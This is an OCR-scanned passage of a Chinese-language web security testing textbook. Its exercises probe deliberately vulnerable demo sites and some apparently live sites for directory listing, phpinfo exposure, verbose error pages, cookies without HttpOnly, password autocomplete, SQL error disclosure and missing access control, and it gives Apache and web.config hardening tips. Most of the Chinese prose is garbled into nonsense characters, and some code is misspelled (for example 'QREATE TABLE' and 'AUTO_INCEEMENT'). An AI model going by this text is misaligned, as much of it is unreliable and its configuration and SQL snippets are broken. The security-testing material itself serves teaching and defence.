(3) MIEE register. php. H 4% V58] URL http://crackme. cenzic. com/kelev/register/ .

(4) METMICEK .
HEBER ARRHRINEGE.
SEERER B HZREWWEG R, H H register. php IS n] DL 2, WA 1-29 s,

7 e
1‘\* ) (i | crackme.cenzic.com/kelev/register/ E ﬁ

Index of /kelev/register

Last modified Size Description

o Parent Directory .
A register.php ~ 28-Apr-2015 17:49 19K

Apache/2.2.15 (CentOS) Server at crackme.cenzic.com Port 80

K 1-29 register. php IHEACHS AT LLF £

WD tmar

Apache KA R E L AT H X TFTEA index. html A& R FwM3E4 B F,iEW 35 H
FEXHRELEIE, XX —HEFEEGF, e, TRFREXBEZTDEE BRARTEDR
B METAERAERTRFSELALRA,

i it L F AR, TAZ0E B 7 Apache M3k B &,

it N Apache 8982 & X4 httpd. conf, & 3| VL T 1% 4]

vim /etc/httpd/conf/httpd. conf
Options Indexes FollowSymLinks

¥R A5 ARTES

Options FollowSymLinks

WG4 R4 T,
< Directory "/var/www/html">
# Options None
# Options Indexes FollowSymLinks

Options FollowSymLinks
AllowOverride All
Order allow, deny
Allow from all
</Directory>
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/ [@] Home of Acunetix Art x|
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home  categories | artists @ disclaimer | your cart | guestbook @ AJAX Demo Logout test

search art welcome to our page

| || 90| , _
Test site for Acunetix WVS.

Browse categories
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QREATE TABLE IF NOT EXISTS forum(

sender CHAR(150),
mesa j TEXT,
senttime INTEGER (32) ) ;

QREATE TABLE IF NOT EXISTS artists(

artist_id INTEGER(5) PRIMARY KEY AUTO_INCEEMENT,
aname CHAR(50),
adesc BLOB) :

(REATE TABLE IF NOT EXISTS categ(

cat_id INTEGER (5) PRIMARY KEY AUTO_INCEEMENT,
cname CHAR (50),
cdesc BLOB) :

QREATE TABLE IF NOT EXISTS pictures(

pic_id INTEGER(5) PRIMARY KEY AUTO_INCEREMENT,
pshort BLOB,
plong TEXT,
) S PTECERy J/
img CHAR(50) ) ;

5 o DO K
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Order allow, deny
Deny from all
</Files >

(2) 2P X RIgEd B F(TYAH < DirectoryMatch >4k # 47 £ ) IT #2) .

<Directory ~ "*/var/www/(. +/) ¥ [0-9]{3}">
Order allow, deny
Deny from all

</Directory >

(3) B it LT fe k20, b 2L BT H 4T B B 6945 19,

<FilesMatch . (?i:gif|jpeg|png) $ >
Order allow, deny
Deny from all

</FilesMatch>

(4) 4t *F URL A48 #4412 69 21k 35 19 |

< Location /dir/>
Order allow, deny
Deny from all

</Location >

1.17

9y £ 17 testphp PRI 55 2515 8

ERPEFRRE  testphp MuGTr /2 PHP {5 5 it 55 KUK

i

MiXEEENSEEE Windows 7 (64 bit) +1E 11 5% Chrome,

it 2 IR

(1) §TH testphp M4 http://testphp. vulnweb. com/secured/phpinfo. php,

(2) Z384E TE.Chrome | W= A,
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HAEB AR As PHP 4GS,
EERER Won PHP 405 B, & 1-33 FE 1-34 s,

Fam R e
By =

€ & C [ testphpvulnweb.com/secured/phpinfo.php
Hogm @ esssEn O 238sRER O sicrozk [ csonneT- 2. [ wischool EkEE () Javatpk-2EmE..  [H £5P+-Android...

[Throad Safaty | 4izablod

Chrome | B/~ PHP #4115 B

& 1-33

N R W R T pit= g

F 1-34 IE kB~ PHP ##41F &
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WD Tmaw

PHP 52 —/ HTML # A X p K& 2., PHP @ % i it — /~ & 34 phpinfo. php # CGI
A2 545 i 69 . phpinfo. php 2% F R R HEZ AT oA MG T L, £ Z o424 %
INE R, 2L EA RRELFAEARSGHE L6 — EHRAZ L,

PHPInfo # 48 7 vA F4Z & .

(1) PHP & A& (&4% build iR W 6945 8 i A A45 8 .

(2) RHBMAAZT B (I build WA E A 8945 # A 4Z 8.,

(3) ¥ & B F(PHP AT £ 8 F),

(4) SMTP R %% 15 &,

(5) Sendmail %42 (4R %% 7 Sendmail) ,

(6) Posix M AAZ B;,

(7) # 3% & . ODBC & B (L4E5% 2 WA L BIAFEDE); MySQL % 7 # ¢ i A 42
B (6L 45 build M A 69 45 88 A 15 &) 3 Oracle A Az 8. F= E 69 3% 12

(8) FT A4 B 89 K FR¥&1Z,

(9) Web IR %% .

(10) TIS sa K13 & .

(11) Apache i A13 &,

4 R & Windows(32bit) 3135 T2 47 . A A B 2RV T A5 8,

(D) i+ HME.

(2) Windows B F &L & ,

(3) BZ(RR A R EE LT KOGRMHFIZE).

i@ i 35 ] — A~ & L http: //www. example. com/PHP/phpinfo. php #5 URL, Bf & 1% 3|
VA EA4Z 8.,

Mk FRMBEANNSCCL IR, AAE 2 LEM THKB N, REAEEFIAF
a8 L.

1.18 S2UG #£18. testfire Bk S S8 HI RS )41 19 11k 55

TRPAFRRR  testfire Wl H 45 S 2500 FHFR 1y 40 10 it &5
M Eea5%as Windows 7+ Chrome 8% Firefox,
P Fres -
(1) FTH testfire i http://demo. testfire. net,
(2) Bl Online Banking with FREE Online Bill Pay #%4% ., & 1-35 i~
(3) Bdi )5 38 A URL http://demo. testfire. net/default. aspx?content = personal
savings. htm,
HAEEER Mogeik® i,
SEEREER WO A B R R AU A0, A 1-36 s .
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Sign In | Contact|
& OMLIME BAMKING LOGIN FERSOMAL SMALL BUSIMNESS
EERSONAL Online Banking with FREE Online Bill Pay
* Deposit Product stamps, envelopes, or checks to write give yau £~
* Checking mao :
* Loan Products
» Cards . L
-
Investments & [nsurance
» Qther Services .
. . "
SMALL BUSINESS . E—
» Deposit Products
* Business Credit Cards
* Lards You're always looking for ways to improve your
L ]
w Real Estate Financing company's bottam line. You want to be informed|
-
. Emmﬂn: Fast, 5|mp|e Frofessional, Whether vou are Improwve IE‘ﬁ:II:h‘E‘I'IE'g.I and control exXpenses. NDW, wd
preparing to buy, buid, purchase land, or construct can do it all - with a business credit card account
INSIDE ALTORC MUTLIAL new space, let Altoro Mutual's premier real estate from Altoro Mutual,
 Abogt Us lenders help with financing. As a regional leader, we
s Contact Us know the market, we understand the business, and ~ Retirement Selutions
» Locations we have the tradk record to prove it Retaining good employees is a tough task. See
» [nvestor Relstions hiow Altoro Mutual can assist you in accomplishing
» Press Foom this feat through effective Retirement Solutions.
* Carcers
Frivacy Policy | Security Staternent | @ 2017 Altoro Mutual, Inc,

& 1-35 #.d7 Online Banking with FREE Online Bill Pay £ #

500 - Internal server error.

There is a problem with the resource you are looking for, and it cannot be displayed.

AltoroMutual »

An Error Has Occurred
Summanr:

Could not find file "C:\ downloads'\ AtoroMutual_v6\ website \static\ personal_savings.htm’.
Error Message:

System.l0.FileMotFoundException: Could not find file 'C:\downloads\AltoroMutual_ve\website\static\personal_savings.htm'. File name: "Ci\downloads\AltoroMutual_vE\website\static\persd
System.I0._ Error.WinlOError Int32 errorCode, String maybeFullPath) at System.I0.FileStream.Init{ String path, FileMode mode, FilaAccass access, Int32 rights, Boolean useRights, FilaSh
FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy) at System.lO.FileStream..ctor{String path. FileMode mode, FileAccess access, FileShare sha
options) at System.IO.StreamReader..ctor( String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize) at System.l0.StreamReader..ctor(String path)
path) at Altoro. Default.LoadFile(String myFile) in o:\downloads\AltoroMutual _ve\website\default.aspx.cs:line 42 at Altoro.Default.Page_Load(Object sender, EventArgs &) in
ci\downloads\AltoroMutual_vE\website\default.aspx.cs: line 70 at System.Web. Uitil.CalliHelper.EventArgFunctionCaller{ IntPtr fp, Object o, Object t, EventArgs &) at

System.Web. Util.CalliEventHandlerDelegateProxy.Cal Iback(Object sender, EventArgs e) at System.Web.UL Control.OnLoad( EventArgs ) at System,Web. UL Control.LoadRecursive() at
System.Web.Ul Page.ProcessRequestMain( Boclean includeStagesBeforeAsyncPoint, Boolean includeStagesafterfisyncPoint)

rivacy Polley | Security Statement | & 2016 Altore Mutual, Inc.

A 1-36 HEEMu 4

TRAIT

A M R EMSERAE Y AT A E A RETERN, BEFEARINIRFEHA P
A, — A ARAR SR — % — B EaR , REERDm T,
web. config P &) < customErrors > S B T2 L — % g £ A4 EF 6., i 5 F




K1 BEREME)I%

Mode #=» defaultRedirect #/A~/&H , £ 7 defaultRedirect &M & = & AA2 5 X £ 45200 &
7 ) 3 69 % 4 URL . Mode & ® A On.Off \RemoteOnly 3 /M.
customErrors ¥ % & web. config P #94%L F # configuration—>system. web—>customerErrors.
customErrors ¥ .5 % WA X4 F .,

< configuration>
< system. web >
< customErrors defaultRedirect = "defaul tErrorURL" mode = "RemoteOnly">
< error statusCode = "500" redirect = "500ErrorURL" />
< error statusCode = "403" redirect = "403URL" />
< error statusCode = "404" redirect = "404URL" />
</customErrors >
</systen. web >

</configuration >

AR T AL — & LW W 3 500,403,404 F45 R BTG E T\,

1.19 SEIS £ 19 testfire %4 Cookie i ¥ hX HttpOnly

TRPEFRB  testfire B3 #573 Cookie %A B & il HttpOnly,
M Eea5%Sas Windows 7+ Chrome 8% Firefox,
s 25 TR
(1) FTH testfire W% http://demo. testfire. net.
(2) H ZAP T. B & F Mul Cookie % # (3% F12 JIREHE , i A A H AL e FH 3
Cookie & #) .
HAEER JFhfi Cookie 1,
EBRGR  Hr Cookie A i 8 W HttpOnly., W& 1-37 i,

[ Contexts HTTR/1.1 288 OK
[&] Default Context Cache-Control: no-cache
@ msites Fragma: no-cache

Content -Length: 95685

Content-Type: text/html; charset=utf-8

Expires: -1

Server: Microsoft-IIS/B.@

X-AspNet-Version: 2.@.58727

Set-Cookie: ASP.NET_Sessionld=c5p48x552kros345abBcSde5; path=/; HttpOnly
Set-Cookie: amSessionId-2511369946; path=/

X-Powsred-By: ASP.NET

—

<IDOCTYPE html PUBLIC =-//W3C//DTD XHTML 1.9 Transitionmals/EN" “http:// www.w3.org/ TR/ xhtd

<hitml xmlns="http:// wew.w3.org/ 1999/ xhtml” xml:lang="en* >

[ History | © Search [ Sumetts # | - Ouput | 3 Spider | 3 Acive Scan | 4 |

i Cookie set without HitpOmly flag
E Alerts (T) A URL: hitp:itdemo.testire nat
v Ii M Application Emor Disclosure (2) Risk o Low
|7 GET: hitp:#'demo tesifire netidefault aspx?content=persor | | o nfidence: Medium
[ GET: hitp:iidemo testfire netizurvey_guestions aspr?step Parameter: amSessionld=2511260046; path=!
» o X-Frame-Options Header Mot Set (64) Attack:
* [ 7 Cookie set without HitpOnly flag (55) Ewidence: amSessionld=251136890846; path=/
CWE ID: o
[ GET: hitp:ildemo testfire_net WASC IDc 13
_“"_ GET: hitpifdemo testire netbanklogin.as px ] Descriplion:
[% GET: hitp:iidemo testire netidefaull aspx
™ GET: hitp fdemo testfire netidefault aspx?content=busing [ .&mu-kl.e has been set'ul.frmﬂul ltle. Hup{lnlr.ﬂau. whi.m MEans m_atm:_f_ mqkie can be acceg&ed by JavaScript. If a malicious script can be
— : ] T ——— transmitted to another site. if this is a session cookie then session hijacking may be possible

& 1-37 #4 Cookie ¥ F & B i, HttpOnly

\37/
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WD TRaw

HTTP response header P 2 T Cookie #93% & 4= F ,

Set — Cookie:< name > =< value>[ ;< Max — Age > =< age > ][ ; expires = < date >][ ;domain = < domain
name >] = [ ; path = < some_path>][; secure][ ; HttpOnly]

— /> Cookie L2 VA F 12 &,

(1) Cookie & #fr, Cookie &#kdb/nft Al Rse A& URL P8 F 47, — A FH AT,
FROEFHRTH A F®R TN E ZH, 4, JavaScript #1F Cookie B 7T ¥A {& A
escape() X & Ak 3 47 4 5 |

(2) Cookie /&, Cookie 125 Cookie & #R 3k . 7T VA Bk 47 4% 24 Fo Am 55

(3) Expires, JPid B B8, 13X % — A~ GMT A X R, 23 TXANABHZ G, 70 EE
¥ X A Cookie M 4 R AR5 E Expires, ] Cookie £ % 5 X H 6 H %,

(4) Path, X — A2 E£ZXANRZETEM R EF Tl 1% Cookie, —ALIX A/, VA
F T E) — AN3h 5 69 BT W@ AR T L5 B X AN Cookie,,

(5) Domain, B F 3. 48 £ £ Z T 8 T & 7T & 3% B Cookie, #] 4, & ik Cookie /&
a, test, com F 9 ¥L35 9] . /2 & b. test. com F R #E %5 17 . M 4§ domain 1% & % a. test. com,

(6) Secure, Bpa 2,35 Cookie £ & Raeiid HTTPS ##li7 P, — A& % Cookie
& HTTP LB Tix 9] ; e R % B T Secure(GEAAA) . W R A48 HTTPS 4L F 7T VA
R

(7) HttpOnly, # X & Cookie FX E T HttpOnly &, Af 4 i i #2 5~ (JavaScript
A Applet F) ¥ £ k2 B F] Cookie 12 & .

—fig A /B Cookie, #f & &% & HttpOnly 5 Secure /& M. 5F H % Cookie — A~ % 3k
B 18]

1.20 SEU5 #£20. testasp PIBL &S HE H PR AFTE R 25

TRBEFRRE  testasp MU HE A IR TEAE D Y 25
M FE 5B Windows 7+ Chrome 1 Firefox,
ik 7 TR
(1) FTH testasp Mk http://testasp. vulnweb. com/,
(2) ¥ F12 Yhe s, 37 H I A A B o, 20 5 Ml
HAEE SR K WA AGE A Sh PR AF DY 2% . By 1R 15 ST 55 .
SEERGR WK SEMEE A SR AT AN N A% A 1-38 i b AUTOCOMPLETE="
OFF "% .

WD TRaR

£ HTML ¥ .input /& autocomplete ZkiA % on, L& A A F W E A FHCFTA P
ZAAMANGE, RENEEENE PO THIAAKE . AG LA L ERFR AT ETHMSFK



R BEREME)%

N acunetix

about - forums - search - login - register

Username: | |
Password: | |
? ﬂ Elements Console Socurces Network Timelme Profiles Resources Secunmty Audits
£vtml >
¢l-- Instancefegin template="/Templates/MainTemplate.dwt . asp™ codeQutsideHTMLISLocked="false™ --3
® cheads_</head>
¥ cbody >
¥<table width="188%" border="8" cellpadding="18" cellspacing="0">
¥ ctbody >

kotr bgcolor="2008FA8" >_< / tr)
LR 8 o o T o]
L4
¥otd colspan="2"3
¢!-- InstanceBeginEditanle neme="MainContentleft” --3
¥ <form sction method="POST" >
¥otable width="35@" border="8" align="center” cellpadding="0" cellspacing="5" class="FramedForm">
¥ tbody>
Fotrr_oftrs
¥ otrs
ctd>Password: </td
¥otd align="right"»
cinput name="tfUPass" type="password” class-"Login® id="tfUPass": == £J
"'Illtd'.
Lrtrs
Fotrrad/tr
Athoh

& 1-38 B FHESHH/ AUTOCOMPLETE="0OFF'#&:%

B E
Blde EMANRAP L H5EB GEHFHEAHEBFRMLNE LN, FZE input P
autocomplete="off" X Hie K., EE2LA TR FAHHE LTI LAS,
— AR R P ELFEEKER P E-mail bt 696 F42 54 T,
< form action = "demo_ form. asp" method = "get" autocomplete = "on">
First name:< input type = "text" name = "fname" /> < br />
Last name: < input type = "text" name = "lname" /> < br />
E-mail: < input type = "email" name = "email" autocomplete = "off" /> < br />

< input type = "submit" />
< /form>

autocomplete BB TN TR AE LZ B R B3 T ie. B3 7T AF R W E M
WA FERGMAN, SAPEFERITEMAN , ALEELETINMALOEALEZRETEFTR
LB g

autocomplete &M iE B T <form >, ¥A & text,search,url,telephone, email,password,

vy

datepickers.range.color ¥ < input> £ &,

W sEris

F& 0 BLR Pl 1 22 S ik

(1) testfire M. http://demo. testfire. net,

(2) testphp M. http://testphp. vulnweb. com,

(3) testasp Ml : http://testasp. vulnweb. com,

(4) testaspnet M. http://testaspnet. vulnweb. com,
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(5) zero M. http://zero. webappsecurity. com,

(6) crackme M ¥l . http://crackme. cenzic. com,

(7) webscantest P} http://www. webscantest. com,

(8) nmap Wik : http://scanme. nmap. org.

IREE . TVA & http.//collegecontest. rogisoft. com/awardshow. html ¥ & 4 /1 5F & B
MRKFAEALEXENSEPLAANGE L 522 ML,
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H P 5410 42 Cuser interface testing . UT 328 ) F= 2 i A ;o 5%
i Dy RE AR AT 2 5 A B, BEAR MURR R B — B S A B
BTG 2 P 25, e A A 20 3 A 1 45 4 4 0 L 00 1T 2R 5
P, moc R M, R CF B IEW,. 4 R EE—, AR
EMW. CF FRFHAGRBREERSE.

o SRR 2 O T B BRI, R X A R G R A T L,
A 20 T A2 iy 22 2= /D {E TE | Firefox, Chrome =/~ % 4 I 56 Ik
T 7S 5 WOR XA FR G0 A T 5 7 i 2 3 11 A 2 I T #2 0l H A
/DT EAE Windows(Vista/7/8/10) . Mac OS(OS X 10. 6 DL ) F
Linux(Ubuntu,Debian,Fedora,OpenSUSE) [ %% {df A , | 128 & 4~ if
PR A2 IR R s WoRX ARG S UL RS TR IR A
(CURICRE RS PITE 3 AN B S s 4 v W T (T g 1]

2.1 SE8G # 1. oricity IS BE K 1% Tooltip
TRz

ERBEFRAR  oricity P “ IR 13k i = 87 B R FAZ 71 Tooltip
78 AN T
ML Ea Sz Windows 7 + Firefox 24. 0 sk TE 9 uk
Chrome 32. 0,
ik 7 TR
(1) FTH oricity M il http://www. oricity. com/,
(2) A5, Hudi > X bR 5 |7,
(3) JRIF“FAAHM” 8 s BA= A 7 FAZ” I
(4) &F Tooltip 451
2R  Tooltip fiid 1E# .



0062 SR )l 2k \43‘/
ERRER  Tooltip iR S5“EH FEIEEATE, B B 008", nE 2-1
Firs .

— - e -
'.,:__,J' E' hittpe/fwww . oncity.com/userfriend, php . = 4
i

D REED FEW dmE=A) TAD =i

[oa] i WEFRERE |00 | EEET | ETHEH |EHER |WhicE 15380 | EsEN

SR
o EEas
i .
e e |
GH) RS
WaRYE

Bl 2-1  SCHi AR A IE

D T

TooltipRFEATHAP R XA ALK R . FRAAFABEGZRASLBERTAE
B, BB, R B MR LR —AMRE A2 XHFEREAACGL A LA ET 7PN
W, AR ALXABTAE Tooltip LI X Fitse@d kb k, —RERMAGB R L
AT AE 5B/ Tooltip, VA FAE4E A

A X TA2 )P £ X M | Tooltip Bt & & X ZVA T &5,

(1) Tooltip 7 XL FHEXFAE—F, A# PR —B 5 H FBR M,

(2) Tooltip Ld@m#y XL F 2% R4 &£ IE LR =@ & Firefox & Chrome & % % £ R
7,

T H AP, EZFEAIFE TAIFA S, I NA R, SR A B AR T
AP, FRZRAZFTAIRFAMAFTEHFFRTEELEAESANRN L E LG RE &
Z1h, Blde,< img src="1img/leaf520. png" alt=" &2 FALE® T F et £35" />, XK
HTML X &8 ¥y % T B K & Tooltip A & % alt, X # 4K B 2 % IE Az, W & Firefox &
Chrome L R 27, R BT A& WEAE T, EiZF A< img src="img/leal520. png"
title="% k& w T HFErt £35" />, LA alt # Tooltip R A IE AEA i+, title
4 Tooltip £ F7 A ) Y & F AR ik =,

2.2 SEUG H#2. books L Nh g AR G & Y A ik HE

BREEARE (B )L 8/ The Footprints of Life) H 458 vl i ¥ 7 L= L&
ﬁﬁﬂ
i EEEMEE Windows 7+1E 10,




\44/ AR 3L L6 3R F5 e
ik 5 TR
(1) g ACHEAA L) BEEE 1 http: //books. roqisoft. com/footprints.,
(2) B HF45#” 3 A http://books. roqgisoft. com/footprints/footprints_list.
html D1 [fi] ,
(3) 2) 3 & 73 S PRAE , WA VL 18 0 1o
HHEBER ﬁﬁﬁl‘ﬁﬁﬁ’f‘%ﬂf*ﬁﬁﬁiﬁdie‘i
KBREGR LI I S R AE 5 R B AT SEPR R S I 2-2 Pl .

Als  HE HEREE AREH O ZEHRTF RXLE WMEBXT BRAR#EN HxE

39&5{5(1357(9?} &S OB R A
(A4 22 / The Footprints of Life)

PEQLBRFERMES CEEBEZS (ka0 2 EMhe Footprints of Life) HRHH

- HoWER. ERER

O 1, i3k # 4 Follow Your Dream

L) 2, 38 5 4 HFollow Your Own Dreams
= 3. #u fAmbition
O 4, 4 |- P i3 The Power of Imagination
BE . H (. il irkeep Faith and Move Forward

B, iefA R B 2FDream Your Dream
7. £ #1402 "Over the Rainbow
OB, EHaE4 000k Happiness from the Deep Heart
9. nfi##4 ¥ FiHow to Grow Happiness
T 10, LI 1) ¥ HEnterprising Happiness

O 11, EHEAEE i The Paradux of Happiness
0 12, Fig#k Fi-1iE i Ten Obstacles in the Path of Happiness

13, F7RPEETT Ak Life Comes in a Package

O 14, {7 79 #What will Matter

)15, A Ef5E % The Wholeness of Life

O 16. 07 4 A 1775 5 Listen to the Voice of the Ancestors
0 17, #r4%dE b k K-Growing in the Middle Ground

0 18, ¥ #8714 ¥ The Light of a Bright Day

WD tRAR

RMEA TR LF R HLE LRI, X 2 #T 5E R A F @ 5 ik 69 2 4k
B, BRTXE FEHEZFHRALFEILF TR LFH5HLEE BARSBAREFE LFHK
BB L FEANF FHLFEEL LFREFTHIT LF R AL,

i X £ B KA X LA e AT 5 oS AR B, O B K S HORAE B Shib K, R
B 4 F

(1) BFHLRMEEAFI RO LG EHFRAETRFTER RS HFIMNEHAT AL,

(2) FmAFHME, A shn XA H 6L K XS,

(3) REMHE . .\ RT R—4F,

(4) FEGHSHE ARG EE ARG REFTE . HEFHRBETR—H,

AT FRME B LB BLE LA —AR AT ZW, 8 SR X AR A FH] B,

B 2-2 BT BLE R SR B AE
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2.3 9255 #3: roqgisoft WIATYE W Wi

TRPEFRR  roqisof t WA ie s AL R A SCFE 2 2 [u] 25 7 50 8o i .
MK EESNMESE Windows XP+Firefox.
ik 7 TR

(D) FTH a3 16 35 M5 http://leaf520. rogisoft. com/bbs/ .

(2) B R AU R "k

(3) AE“IR R SCAME fay A MBS CRT 200 F45) , il 2-3 Jifr

VR e - WE Noxilla Firefox

TEE @EE TEY BEE FE@ ILAQD B
o B a0
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O e e® B - BT osokee « LfIREN UTC + 8 40t
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HEBER K IUHIoK Bn B,
KBREGR W RE RS AR BOA #E /AT 0T & A T AN AT

@ SRAIT

&R S AT K, 18R A LAAE P AN AR K AR, LS\ 6 AT, K BR 4 M 3E AT
%ﬁ@&ﬁi&éﬁi&ﬂiﬁ%ﬁaTu

(1) R IF A B B AR, HARARH P —4F,

(2) $ I SQL A%, &4 Lk EFEAT,

A TFAARAELIXIAN Bug, WEPF RAMANX LA KGHE X AHBELRLE
B e RAZ B N AT TN RS B RG R AFEE R ERF Z M, Ranl& £25 KN
KA BN R s ate S e B L X GE ST EA T A KD 5,

2.4 SEISH4. qa MYS RN LR R ES

BRPE R gy ol A0 5 1A BN 5 00 A A [a] 0] Y s 7 11 4H 4 Y B 0 T S
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Welcome t CrackMeBank Investments

» Home New User Registration (Kindly Enter All Inputs Correctly)
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% Net Banking An asterix ( * ) indicates a required field.

¥ Credit Cards ‘
(Do not use nicknames) In consideration of your

» Contact Us * LastName : [sztie use of the Service, you
» Bills Online represent that you are of
- - *UseriD : [assl legal age to form a binding
» Online Trading contract and are not a
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the laws of the United

* Birth Date : §fdvesfvEvtvaatvs States or other applicable
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GRPEAREE  testaspnet MG AE TE W % 8% iy RSS B2 HH B HTTP Error 403 $i%.
MiXFEFEENERE Windows 7+IE 11,
i 47 TR
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The page cannot be displayed

.|
|

You have attempted to execute a COGI, ISAPI, or other executable program from a
II directory that does not allow programs to be executed.

Please try the following:

+ Contact the Web site administrator if yvou believe this directory should allow
execute access. I

HTTP Error 403.1 - Forbidden: Execute access 15 denied.
Internet Information Services (11IS)

Technical Information (for support personnel) )

s Go to Microsoft Product Support Services and perform a title search for the
words HTTP and 403.

+ Open ITS Help, which is accessible in 115 Manager (inetmgr), and search for
topics titled Configuring ISAPI Extensions, Configuring CGI Applications, ‘
Securing Your Site with Web Site Permissions, and About Custom Error
Messages,

= In the 1IS Software Development Kit (SDK) or at the MSDN Onhine Library,
search for topics titled Developing ISAPT Extensions, ISAPT and CGI. and
Debugging ISAPI Extensions and Filters.
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(1) FTH testfire M5, http://demo. testfire. net/,

(2) ¥+ Online Banking with FREE Online Bill Pay 5% 4%,
BAEER  BEF P IE# 1 Online Banking with FREE Online Bill Pay 1 i,
LERER I 500-Internal server error LI . B i A R B WE 4-32 o,

[% 500 - Internal server en x

€ — C [ demo.testfire.net/default.aspx?content=personal_savings.htm wrled M =

500 - Internal server error.

There is a problem with the resource you are looking for, and it cannot be displayed.

An Error Has Occurred
Summary:

Could not find file 'C:\downloads\AltoroMutual_v6\website\static\personal_savings.htm'.

Error Message:

System.IO.FileNotFoundException: Could not find file "C:\downloads\AltoroMutual_vE\website\static\personal_savings.htm'. Filz name:
'C:\dewnloads\AltoroMutual_vs\website\static\personal_savings.htm' at System.IO.__Error.WinIOErrer{Int32 errorCode, String maybeFullPath) at
System.I0.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions
options, SECURITY_ATTRIBUTES secittrs, String msgPath, Boolean bFromProxy) at System.I0.FileStream..ctor{String path, FileMode mode, FileAcoess access,
FileShare share, Int32 bufferSize, FileOptions options) at System.10.StreamReader..ctor(String path, Encoding encoding, Boclean
detectEncodingFromByteOrderMarks, Int32 bufferSize) at System.]0.StreamReader..ctor(String path) at System.10.File.OpenText(String path) at
Altoro.Default LoadFile(String myFile) in c:\downloads\AltoroMutual_ve'\website\default.aspx.cs:line 42 at Altoro.Default.Page_Load(Object sender, EventArgs
&) in c:\downloads\AltoroMutual_we\website\default.aspx.cs:line 70 at System.Web.Util.CalliHelper.EventArgFunctionCaller{IntPtr fp, Object o, Object t,
Eventargs e) at System.Web.Util.CalliEventHandlerDelegateProxy.Callback({Object sender, EventArgs &) at System.Web.UI Control.OnLoad(EventArgs e) at
System.Web.UL.Control. LoadRecursive() at System.Web.ULPage.ProcessReguestMain (Boolean includeStagesBeforeAsyncPoint, Boolean
includeStagesAfterAsyncPaint)

Privacy Policy | Security Statement | & 2014 Altoro Mutual, Inc.

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Bl 4-32 500-Internal server error
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Query Error: select * from oc_reject where id=

The URL Is:
” http://www.oricity.com/user/mobile.php?action=show

MySQL Server Error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL

H server version for the right syntax to use near " at line 1 ( 1064 )

You Can Get Help In:
http://www.phpwind.net
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£eo] B4 0 RS (20 v 111!

w? B S

U testi 2014-12-1911:32 2 46 54
= test? 2014-12-19 11:32 HEariRaEEn
[ testa 2014-12-19 11:32 lErmass et 20|
U testd 2014-12-1911:32 il a2l
O tests 2014-12-19 11:32 HiE2 iRl
(W tests 2014-12-19 11:33 ilemies i, 0]
U test? 2014-12-1911:33 Hrz2ia )
O test? 2014-12-19 1133 2R
0 tests 2014-12-19 11:33 e s i, 20
O lesii0 2014-12-1911:33 iirntt= g2l
O test11 2014-12-19 11:41 [ R

(2% | mEss || HiEa | wisa |

EHERANE &R

5-1 ¥y 11 444

ETRAIT

B 10N ERIMTRZEFHREM AT R, R THEELERMm, L3235 ]S H) B
EH AR B R 5. % URL A AR \@eg URL 48 £ 7action=add B . 2P 7T VA7 Ao 5%,
B HBREF B FHEAALERATOEAIRRBRS I ZAAEGLELAEHRKPI A,

A7-Missing Function Level Access Control f£ 2013 4 Web =4 # & % 7 1L, FHHiE &
HE AR ek K35 Web m AAER®T L3477 2R R R A2 2 8 AR S 5 w2
AT R GG P AEE . R FREAIRSG BB, S F AR B Mg Rig P R
1 fE .

5.2 SEUS 2. oricity RS B AR SO R /PR i)

RPEFR  oricity W ¥ — N A HO—FR M E R FAL, n] AL PR
EP
M ES5H%SsE Windows 7+ Chrome,
i 5 R
(1) FTH oricity W% http://www. oricity. com/ .
(2) X5, By [ O 23 18] 1, AE“ R AT H S FHRBNE R HA27.
(3) 4 R A E RIF AL i 5-2 fros,
(4) &F PR,
HAZBER R IFRR.
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& - C | [ www.oricity.com/user/photo.php &l o

T T B e T iy o N g e - ity R

A4 (AT S0M. MEAE 1.71M)

® | #E L (gif ipg jpeg png bmpti=t)
EETH IChFﬁr santhemum_jpg i A T B84 200K)

O S0 B etidi. johttpfwww aaa comitest gif

(58S A EHHEHE) i h= TR SR

|iﬁ:;_'i;ﬁ 2014-12-29

R 2ot E{aRE \

af LB R FIX IR

i il gy B A

AEITE, BT A SEHEE :2014-12-29 (EESMFELE R TR
® JFERERLAR
O AFUHERBNARSS)
IATHATS
“ Tt
TR AR R B
R A * v

[vanxingli] £ Wk ZeiEl | S0 hhidk |EENE T | 8B D | E8H1EHR | iz |30 | |

Bl 5-2 AT LL A% A BR i B 1B

SEBRGR  HE AL IFRETTIT.

D TmaR

S EERSZ T ERAZTAP A, — LR R, R ETFH
IHRDBER R B —F 2 LR MRS, FRELERFIXHEREE PR
R4 % P 6 RAZ 5 R A A A A,

AT S A — A E A R L TR,

1. BhueimiL

(1) &HHFGERG M, E4E, RS,

(2) EERHG I LA, BrmETGREES L),

(3) &/ TFTHEHERAG M, LEGIHTERRTH.

(4) MR b A e 2 89 XA . T MR,

(5) ## LR Do, THHB,

(6) L&A F XHFFTLLMAAREE K0T,

(7)) IMW#HEZETTIHMNAREE KM L,

(8) F i N Eme) LR IZ, B, L& R,

(9) Fahi AN EHIHFRE, LE . RTF 6 EL4E,

2. ORIV

(1) 4K & XD DTGB XA a o, BRI,

(2) AR, 8K ADF TR & KD, EERT,

(3) FAHRAERDHRK TR DO, E LB TR K, REE L4,

(4) K4 OKB # TXT X%, RAg L4E,




\12} MR K48 =
3. AR
(1) i %A K, Windows 2000 47 H 255 N F A (FEEELHFHFT) . R AP
) RA 127 AXF,FHRFE K,
(2) IBLMHEINFRRKE(PL . ELRBLE—R)ELEFEE LM, T @R, TG
2 & ER,
(3) IMH LK P aesiFkFF REERKnT,
(4) LA P L REELME,
(5) XML AHFEXMBEERKMmE,
(6) B LA PELRASBMETEML,
4. SCHERS S INA
(1) B4 E#H&X, L4ERD.
(2) EAERAFHEX IR T R L4,
(3) 4 RAR.ZIP Fdr e XA (% L E%) HRBEE Km 2,
5. A TEMLA
(1) E&TH#ATIMH(EXE XH) JARBEE LM E,
(2) EAE% LR .32 = Rk LAE,
(3) EHENBREB SR T, AT,
6. PEREM L
(1) EAar Mk RZ (R, 38— 2o, FIEw,
(2) EHEEBR, AT EELERT,
(3) LSRR EBEREIE AR T EEZERS,
(4) bR S HZ 6T RA R FE, £ ERLH,
7. 5% ifn Ik
(1) id £, ARG BAFGRAE . Tab k#EFHMF 2 E EH),
(2) ¥4 L F & IEH,
(3) E#/4R\RTLFAE EH,
